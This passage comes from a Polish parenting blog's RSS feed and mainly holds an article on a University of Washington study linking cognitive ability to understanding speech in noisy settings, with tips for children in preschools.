1280. <a href="https://przystanekrodzinka.pl/ruch-naprawia-mozg-po-fast-foodzie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="549" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-768x549.jpeg" class="attachment-medium_large size-medium_large" alt="ruch naprawia mozg po fast foodzie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-768x549.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-300x214.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-1024x732.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-1536x1097.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1281. </div>
1282. <h4 class="uagb-post__title uagb-post__text">
1283. <a href="https://przystanekrodzinka.pl/ruch-naprawia-mozg-po-fast-foodzie/" target="_self" rel="bookmark noopener noreferrer">Ruch naprawia w mózgu to, co niszczy fast food</a>
1284. </h4>
1285. <div class='uagb-post__text uagb-post-grid-byline'>
1286. </div>
1287. <div class="uagb-post__text uagb-post__cta wp-block-button">
1288. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/ruch-naprawia-mozg-po-fast-foodzie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1289. </div>
1291. </article>
1292. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1293. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg" class="attachment-medium_large size-medium_large" alt="Pregnant woman&#039;s belly illuminated by sunlight." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1294. </div>
1295. <h4 class="uagb-post__title uagb-post__text">
1296. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Nudności w ciąży chronią dziecko przed toksynami</a>
1297. </h4>
1298. <div class='uagb-post__text uagb-post-grid-byline'>
1299. </div>
1300. <div class="uagb-post__text uagb-post__cta wp-block-button">
1301. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1302. </div>
1304. </article>
1305. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1306. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="490" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg" class="attachment-medium_large size-medium_large" alt="co sprawia ze objadamy sie produktami" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-300x191.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1024x653.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1536x980.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1307. </div>
1308. <h4 class="uagb-post__title uagb-post__text">
1309. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Co naprawdę sprawia, że objadamy się produktami?</a>
1310. </h4>
1311. <div class='uagb-post__text uagb-post-grid-byline'>
1312. </div>
1313. <div class="uagb-post__text uagb-post__cta wp-block-button">
1314. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1315. </div>
1317. </article>
1318. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1319. <a href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-768x513.jpg" class="attachment-medium_large size-medium_large" alt="światło w nocy a zdrowie serca" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1320. </div>
1321. <h4 class="uagb-post__title uagb-post__text">
1322. <a href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/" target="_self" rel="bookmark noopener noreferrer">Światło w sypialni szkodzi sercu dziecka</a>
1323. </h4>
1324. <div class='uagb-post__text uagb-post-grid-byline'>
1325. </div>
1326. <div class="uagb-post__text uagb-post__cta wp-block-button">
1327. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1328. </div>
1330. </article>
1331. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1332. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="516" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg" class="attachment-medium_large size-medium_large" alt="czas zimowy a rytm dobowy dziecka badanie stanford" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-300x201.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1024x687.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1536x1031.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1333. </div>
1334. <h4 class="uagb-post__title uagb-post__text">
1335. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Czas zimowy chroni zdrowie: badanie Stanford Medicine</a>
1336. </h4>
1337. <div class='uagb-post__text uagb-post-grid-byline'>
1338. </div>
1339. <div class="uagb-post__text uagb-post__cta wp-block-button">
1340. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1341. </div>
1343. </article>
1344. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1345. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg" class="attachment-medium_large size-medium_large" alt="orange and white medication pill" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1346. </div>
1347. <h4 class="uagb-post__title uagb-post__text">
1348. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">ADHD u małych dzieci: większość dostaje leki za wcześnie</a>
1349. </h4>
1350. <div class='uagb-post__text uagb-post-grid-byline'>
1351. </div>
1352. <div class="uagb-post__text uagb-post__cta wp-block-button">
1353. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1354. </div>
1356. </article>
1357. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1358. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="psy kategoryzuja przedmioty funkcja jak dzieci" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1359. </div>
1360. <h4 class="uagb-post__title uagb-post__text">
1361. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Psy potrafią kategoryzować przedmioty jak małe dzieci</a>
1362. </h4>
1363. <div class='uagb-post__text uagb-post-grid-byline'>
1364. </div>
1365. <div class="uagb-post__text uagb-post__cta wp-block-button">
1366. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1367. </div>
1369. </article>
1370. </div>
1372.  
1373.  
1374. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1375.  
1376.  
1377.  
1378. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1379.  
1380.  
1381.  
1382. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1383. <p>Artykuł <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/">Banan w smoothie blokuje wchłanianie flawanoli o 84%</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1384. ]]></content:encoded>
1388. </item>
1389. <item>
1390. <title>IQ wpływa na słyszenie w hałasie – zaskakujące badanie</title>
1391. <link>https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/</link>
1393. <dc:creator><![CDATA[Maria Rybak]]></dc:creator>
1394. <pubDate>Mon, 03 Nov 2025 07:16:00 +0000</pubDate>
1395. <category><![CDATA[aktualnosci]]></category>
1396. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86689</guid>
1397.  
1398. <description><![CDATA[<p>Trudności z rozumieniem rozmowy w hałasie mogą nie wynikać z problemów ze słuchem, ale z tego, jak mózg przetwarza dźwięki. Badacze z University of Washington odkryli, że zdolności poznawcze silnie wpływają na to, jak dobrze rozumiemy mowę w trudnych warunkach akustycznych – nawet gdy słuch jest prawidłowy. Co to oznacza dla dzieci uczących się mowy w głośnych przedszkolach?</p>
1399. <p>Artykuł <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/">IQ wpływa na słyszenie w hałasie – zaskakujące badanie</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1400. ]]></description>
1401. <content:encoded><![CDATA[
1402. <p>Wyobraź sobie rozmowę z przyjaciółką w zatłoczonej kawiarni. Brzęk talerzy, szum rozmów dookoła – trudno wyłapać, co mówi osoba naprzeciwko. Może pomyślisz, że to słuch szwankuje. Tymczasem nowe badania sugerują, że problem może leżeć w sposobie, w jaki mózg przetwarza dźwięki, nie w uszach.</p>
1403.  
1404.  
1405.  
1406. <h2 class="wp-block-heading">Słuch prawidłowy, a rozumienie mowy utrudnione</h2>
1407.  
1408.  
1409.  
1410. <p>Badacze z University of Washington School of Medicine przyjrzeli się trzem grupom osób: z autyzmem, zespołem alkoholowym płodu oraz grupie kontrolnej osób neurotypowych. Wszyscy uczestcy mieli prawidłowy słuch potwierdzony badaniami audiologicznymi. Mimo to ich zdolność rozumienia mowy w hałasie znacząco się różniła – w zależności od zdolności poznawczych.</p>
1411.  
1412.  
1413.  
1414. <p>&#8220;Związek między zdolnościami poznawczymi a rozumieniem mowy w hałasie był widoczny niezależnie od diagnozy. To odkrycie było spójne we wszystkich trzech grupach&#8221; – wyjaśnia Bonnie Lau, główna autorka badania i adiunkt w Katedrze Otolaryngologii-Chirurgii Głowy i Szyi na University of Washington. Lau kieruje badaniami nad rozwojem słuchowej części mózgu.</p>
1415.  
1416.  
1417.  
1418. <p>Wyniki opublikowano w czasopiśmie PLOS One. Choć próba była niewielka – poniżej pięćdziesięciu uczestników – badaczka podkreśla, że odkrycia wskazują na istotny wniosek: inteligencja to jeden z czynników wpływających na skuteczność słuchania w złożonych środowiskach dźwiękowych, takich jak głośne sale przedszkolne czy spotkania towarzyskie.</p>
1419.  
1420.  
1421.  
1422. <h2 class="wp-block-heading">Jak przebiegało badanie z wieloma głosami</h2>
1423.  
1424.  
1425.  
1426. <p>Do badania zaproszono dwanaście osób z autyzmem, dziesięć z zespołem alkoholowym płodu oraz dwadzieścia siedem osób neurotypowych, dobranych pod względem wieku i płci biologicznej. Wiek uczestników wahał się od trzynastu do czterdziestu siedmiu lat. Włączenie osób neuroróżnorodnych pozwoliło uzyskać szerszy zakres wyników IQ – niektórzy uczestnicy osiągali wyniki powyżej średniej, co umożliwiło pełniejsze porównanie niż badanie wyłącznie osób neurotypowych.</p>
1427.  
1428.  
1429.  
1430. <p>Każdy uczestnik najpierw przeszedł badanie audiologiczne potwierdzające prawidłowy słuch, a następnie wziął udział w komputerowym teście słuchowym. Zadanie polegało na słuchaniu głównego głosu – zawsze męskiego – podczas gdy w tle mówiły jednocześnie dwie inne osoby. Każdy głos wydawał krótkie polecenie zawierające sygnał wywołania, kolor i numer, na przykład: &#8220;Ready, Eagle, go to green five now.&#8221;</p>
1431.  
1432.  
1433.  
1434. <p>Uczestnicy mieli wskazać kolorowe pole z numerem zgodnym z poleceniem głównego mówcy, podczas gdy głosy w tle stopniowo się nasilały. Następnie wykonywali standaryzowane testy inteligencji mierzące zdolności werbalne, niewerbalne oraz rozumowanie percepcyjne. Badacze porównali te wyniki z osiągnięciami w teście słuchowym.</p>
1435.  
1436.  
1437.  
1438. <p>Rezultaty pokazały wyraźny związek między inteligencją a umiejętnością słuchania. &#8220;Znaleźliśmy wysoce znaczącą zależność między bezpośrednio zmierzonymi zdolnościami intelektualnymi a percepcją mowy w obecności wielu mówiących&#8221; – piszą autorzy. &#8220;Zdolności intelektualne były istotnie skorelowane z progami percepcji mowy we wszystkich trzech grupach.&#8221;</p>
1439.  
1440.  
1441.  
1442. <h2 class="wp-block-heading">Co dzieje się w mózgu podczas słuchania w hałasie</h2>
1443.  
1444.  
1445.  
1446. <figure data-wp-context="{&quot;imageId&quot;:&quot;690e8f50e52dd&quot;}" data-wp-interactive="core/image" class="wp-block-image aligncenter size-large wp-lightbox-container"><img loading="lazy" decoding="async" width="1024" height="683" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/5303548-1024x683.jpeg" alt="rozumienie mowy w hałasie" class="wp-image-86743" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/5303548-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/5303548-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/5303548-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/5303548-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/5303548.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><button
1447. class="lightbox-trigger"
1448. type="button"
1449. aria-haspopup="dialog"
1450. aria-label="Powiększ"
1451. data-wp-init="callbacks.initTriggerButton"
1452. data-wp-on-async--click="actions.showLightbox"
1453. data-wp-style--right="state.imageButtonRight"
1454. data-wp-style--top="state.imageButtonTop"
1455. >
1456. <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
1457. <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
1458. </svg>
1459. </button></figure>
1460.  
1461.  
1462.  
1463. <p>Skuteczne słuchanie w złożonych środowiskach wymaga zaangażowania wielu procesów mózgowych, wyjaśnia Lau. Trzeba oddzielić strumienie mowy od siebie, wybrać i skupić się na osobie, która nas interesuje, a przy tym tłumić konkurencyjne dźwięki z tła. Potem następuje rozumienie językowe – rozpoznawanie poszczególnych głosek, wyodrębnianie sylab i słów. Do tego dochodzą umiejętności semantyczne i społeczne: uśmiechamy się, kiwamy głową. Wszystkie te czynniki zwiększają obciążenie poznawcze podczas komunikacji w hałasie.</p>
1464.  
1465.  
1466.  
1467. <p>Badanie bezpośrednio odnosi się do powszechnego błędnego przekonania, dodaje Lau, że każda osoba mająca trudności ze słuchaniem cierpi na obwodowy ubytek słuchu. &#8220;Nie musisz mieć uszkodzonego słuchu, żeby mieć problem ze słuchaniem w restauracji czy innej trudnej sytuacji życiowej&#8221; – podkreśla badaczka.</p>
1468.  
1469.  
1470.  
1471. <h2 class="wp-block-heading">Praktyczne wnioski dla rodziców i pedagogów</h2>
1472.  
1473.  
1474.  
1475. <p>Autorzy sugerują, że osoby neuroróżnorodne lub z niższymi zdolnościami poznawczymi mogą skorzystać na ocenie i modyfikacji swojego środowiska słuchowego. W salach przedszkolnych czy szkolnych proste zmiany – takie jak posadzenie dziecka bliżej nauczyciela lub zapewnienie narzędzi wspomagających słyszenie – mogą znacząco ułatwić komunikację.</p>
1476.  
1477.  
1478.  
1479. <p>Warto wiedzieć, że trudności z rozumieniem mowy w hałasie u dzieci nie zawsze oznaczają problem ze słuchem w sensie medycznym. Mogą wynikać z tego, jak młody mózg radzi sobie z przetwarzaniem złożonych bodźców słuchowych. To szczególnie istotne w kontekście rozwoju mowy – dzieci uczą się języka właśnie przez słuchanie i naśladowanie, często w niezbyt sprzyjających akustycznie warunkach przedszkoli czy żłobków.</p>
1480.  
1481.  
1482.  
1483. <figure class="wp-block-embed is-type-wp-embed is-provider-przystanek-rodzinka-blog-parentingowy-o-dzieciach-okiem-logopedki wp-block-embed-przystanek-rodzinka-blog-parentingowy-o-dzieciach-okiem-logopedki"><div class="wp-block-embed__wrapper">
1484. <blockquote class="wp-embedded-content" data-secret="FY1Ze0ND6U"><a href="https://przystanekrodzinka.pl/bystrzak-geniusz-czempion-jak-stymulowac-rozwoj-dziecka-w-pierwszym-roku-zycia-percepcja-sluchowa/">Bystrzak, geniusz, czempion – jak stymulować rozwój dziecka w pierwszym roku życia? CZ.4 Ćwiczenia słuchowe dla dzieci</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8222;Bystrzak, geniusz, czempion – jak stymulować rozwój dziecka w pierwszym roku życia? CZ.4 Ćwiczenia słuchowe dla dzieci&#8221; &#8212; Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki" src="https://przystanekrodzinka.pl/bystrzak-geniusz-czempion-jak-stymulowac-rozwoj-dziecka-w-pierwszym-roku-zycia-percepcja-sluchowa/embed/#?secret=eva6KAUine#?secret=FY1Ze0ND6U" data-secret="FY1Ze0ND6U" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
1485. </div></figure>
1486.  
1487.  
1488.  
1489. <p>Badanie przeprowadzono w UW Virginia Merrill Bloedel Hearing Research Center. Współautorzy reprezentują UW Autism Center, Institute for Learning and Brain Sciences oraz wydziały bioinżynierii, epidemiologii, pediatrii, radiologii i nauk o mowie i słuchu na University of Washington, a także Department of Otolaryngology-Head and Neck Surgery na University of Michigan w Ann Arbor.</p>
1490.  
1491.  
1492.  
1493. <blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
1494. <p><a href="https://newsroom.uw.edu/news-releases/iq-appears-to-affect-ability-to-listen-in-noisy-settings">Więcej informacji</a></p>
1495. </blockquote>
1496.  
1497.  
1498. <div class="convertkit-form wp-block-convertkit-form" style=""><script async data-uid="67519e85f9" src="https://przystanekrodzinka.kit.com/67519e85f9/index.js" data-jetpack-boost="ignore" data-no-defer="1" nowprocket></script></div>
1499.  
1500.  
1501. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-related-posts     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
1502.  
1503. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1504. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer"><img fetchpriority="high" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="smoothie a wchłanianie składników odżywczych" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1505. </div>
1506. <h4 class="uagb-post__title uagb-post__text">
1507. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Banan w smoothie blokuje wchłanianie flawanoli o 84%</a>
1508. </h4>
1509. <div class='uagb-post__text uagb-post-grid-byline'>
1510. </div>
1511. <div class="uagb-post__text uagb-post__cta wp-block-button">
1512. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1513. </div>
1515. </article>
1516. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1517. <a href="https://przystanekrodzinka.pl/ruch-naprawia-mozg-po-fast-foodzie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="549" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-768x549.jpeg" class="attachment-medium_large size-medium_large" alt="ruch naprawia mozg po fast foodzie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-768x549.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-300x214.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-1024x732.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie-1536x1097.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/ruch-naprawia-mozg-po-fast-foodzie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> 